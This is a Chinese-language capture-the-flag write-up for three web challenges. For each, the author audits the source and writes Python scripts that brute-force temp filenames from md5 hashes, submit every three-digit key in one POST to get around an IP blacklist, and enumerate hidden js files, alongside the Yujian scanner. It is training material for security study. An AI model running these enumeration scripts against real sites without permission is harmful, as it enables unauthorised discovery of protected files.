一.时间
1.打开这道题 出现一堆代码
2.审计代码
show_source() :函数对文件进行语法高亮显示
cookie中的token值如果等于 hello,就执行下面的代码
file_get_contents() 把flag.php文件内容读取到$txt变量中
mt_rand()取随机数,比rand()快4倍,而且如果mt_rand(1,10)的话1和10都会取得到的
通过md5对mt_rand取值的加密然后拼接'u/'和'.txt'得到文件的名字存入到$filename中
file_put_contents()把$txt的内容写入到$filename的文件中取
sleep(10):休眠10秒
unlink() :删除文件
大概的意思就是 从flag.php中提取文本内容到$txt变量中,再随机产生一个1-1000的数字进行md5加密作为文件名$filename,最后把$txt的内容放入$filename文件中去。接着睡眠10秒,最终删除该文件。
另外这道题不需要用到cookie欺骗
所有我们来跑目录,这里我们需要把所有会出现的文件名的可能性都列出来当成字典来跑
3.脚本生成字典
MD5加密python脚本:
hash = hashlib.md5()
hash.update('加密的文本'.encode('utf-8'))
print(hash.hexdigest())
py脚本:
import hashlib
import requests
file = open("shijian.txt",'w+')
for i in range(1,1001):
m = hashlib.md5()
m.update(str(i).encode())
mid = m.hexdigest()
url = 'u/'+mid+'.txt'
file.write(url+'\n')
file.close()
这里就生成一个shijian.txt的文本 然后里面是生成的脚本字典字典
4.利用御剑进行字典爆破
御剑下载地址:http://www.rsdown.cn/down/42311.html
注意:
1)勾选的"PHP:1000",是我在配置文件中把原来的PHP.txt的内容换成了前面shijian.txt的内容。
2)我们用御剑刷新下网页赶紧跑,并且打开网页,要不然10秒后就要删除
3)线程项调至60以上(太小会导致扫描太慢以至于错过10秒)
5.得到flag
二.攻击
1.打开环境 一堆代码
2.审计代码
$_SERVER['REMOTE_ADDR'] //正在浏览当前页面用户的 IP 地址。
分析所给的PHP代码可知:
(1)若当前IP与$ip变量的内容相同,则提示信息直接退出。
(2)当POST中某id的键值等于'attack'时,打印$flag。这个id为$flag的第五个位置开始,长度为3的一个字符串。
(3)如果不满足(2),则检查POST的变量个数,大于0则把你当前的IP加入到黑名单中(故一个IP只能攻击一次,失败了就要重新创建题目)
没办法,只能穷举$flag中从第六的位置开始的长度为3的字符串,然后将所有穷举出来的结果post方式,一次性提交,这种方法的前提是要猜$flag中有哪些字符。如果少了某个字符,就不能通过,ip也进入黑名单,只能重新获取题目网站了
3.写入python脚本
import requests
a = "1234567890"
data = {}
for i in a:
for j in a:
for k in a:
data[i+j+k]="attack"
print(data)
r=requests.post("http://0c3aac1c986c47feacdb2c322a123112c0d2364b864a40ad.ctf.game/",data=data)
print(r.text)
4.获得flag
三.象棋
1.打开环境
进去就是一个象棋页面 跟它玩了几把之后发现被骗了 啥也没有 然后就查看了一下源码
然后就找到了一个特别敏感的地方
发现正则公式,怀疑是flag文件
规则:url+/js/+abcmlyx中的两位+ctf+0-9中三位+.js
文件名为"abcmlyx"中取2个字母,"0123456789"中取3个数字,例如 js/abctf123.js
2.解题方法
(1)直接python脚本获取
import requests
import threading
import queue
from queue import Queue
def text():
url = 'http://eci-2zed18dkqjv2mmqbnhw0.cloudeci1.ichunqiu.com/js/'
strs = 'abcmlyx'
num = '0123456789'
for i in strs:
for j in strs:
for h in num:
for l in num:
for n in num:
new_url = url + i + j + 'ctf' + h + l + n + '.js'
q.put(new_url)
def requ():
while not q.empty():
u = q.get(True, 1)
try:
r = requests.get(u).text
if '404' not in r:
print(r)
q.task_done()
except:
q.put(u)
if __name__ == '__main__':
q = Queue()
text()
for each in range(300):
t = threading.Thread(target=requ)
t.daemon = True
t.start()
q.join()
(2)利用python写个字典 然后利用御剑进行爆破获得flag
1.建立脚本
代码:
key1 = "abcmlyx"
key2 = "0123456789"
file = open("xiangqi.txt","w+")
for a in key1:
for b in key1:
for c in key2:
for d in key2:
for e in key2:
url="/js/"+a+b+"ctf"+str(c)+str(d)+str(e)+".js"+"\n"
file.write(url)
file.close()
2.得到字典后,用御剑进行爆破得到flag文件
勾选的"PHP:49000",是我在配置文件中把原来的PHP.txt的内容换成了前面xiangqi.txt的内容
这样也可获得flag